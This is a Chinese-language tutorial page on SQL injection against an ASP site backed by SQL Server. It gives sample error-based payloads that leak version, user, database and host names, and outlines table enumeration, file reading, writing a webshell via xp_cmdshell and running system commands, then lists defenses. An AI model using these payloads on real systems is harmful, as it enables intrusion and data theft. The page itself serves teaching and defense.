首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Injection 實戰:從錯誤回顯偵測漏洞到爆庫、爆表、爆欄位、奪取 WebShell 全流程

     編輯:關於SqlServer

警示:本文描述攻擊技術僅供防禦研究與授權滲透測試使用,未經授權測試屬違法行為。

漏洞偵測

測試點:https://www.xxx.com/list.asp?classid=1'
回應:Microsoft OLE DB Provider for SQL Server error '80040e14' 未閉合的引號...
確認存在 SQL Injection(單引號未過濾)。

資訊蒐集(利用內建函數)

函數用途Payload 範例
@@VERSION作業系統版本、SQL Server 版本、SP 等級classid=1 and 0<>(select @@version)
USER_NAME()目前連線使用者classid=1 and user_name()='dbo'
DB_NAME()目前資料庫名稱classid=1 and 0<>(select db_name())
HOST_NAME()主機名稱classid=1 and 0<>(select host_name())

錯誤回顯將字串轉換為 int 失敗,導致資訊洩露於錯誤訊息中。

權限判斷

  • user_name()='dbo' 回傳正常 → 確為 dbo 權限,通常隸屬 sysadmin 伺服器角色。
  • 高權限意味著可嘗試 xp_cmdshell、sp_OACreate 等危險擴充預存程序奪取作業系統控制權。

進階利用路徑

  1. 爆庫/爆表/爆欄位:sysobjects、syscolumns 系統表查詢。
  2. 讀取檔案:xp_dirtree、xp_fileexist、bulk insert。
  3. 寫入 WebShell:xp_cmdshell 執行 echo ^<^?php ... ^?^> > shell.php 或 bcp 匯出。
  4. 提權至 NT AUTHORITY\SYSTEM:若 SQL Server 服務帳號為高權限,透過 xp_cmdshell 直接執行系統指令。

防禦對策

  • 參數化查詢 / 預存程序:徹底分離代碼與資料。
  • 最小權限原則:應用程式連線帳號僅擁有必要資料庫權限,移除 sysadmin、停用 xp_cmdshell 等危險擴充。
  • 錯誤訊息不回顯給用戶:自訂錯誤頁面,記錄詳細錯誤於伺服器端日誌。
  • WAF / 輸入驗證 / 字元過濾:多層防禦。
  • 定期代碼審計與滲透測試:發現並修補注入點。

總結

SQL Injection 根因在於未參數化的動態 SQL 拼接。錯誤回顯放大資訊洩露,內建函數與擴充預存程序提供豐富攻擊面。唯有參數化查詢、最小權限與錯誤隱藏三位一體,才能從根本斷絕注入鏈條。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved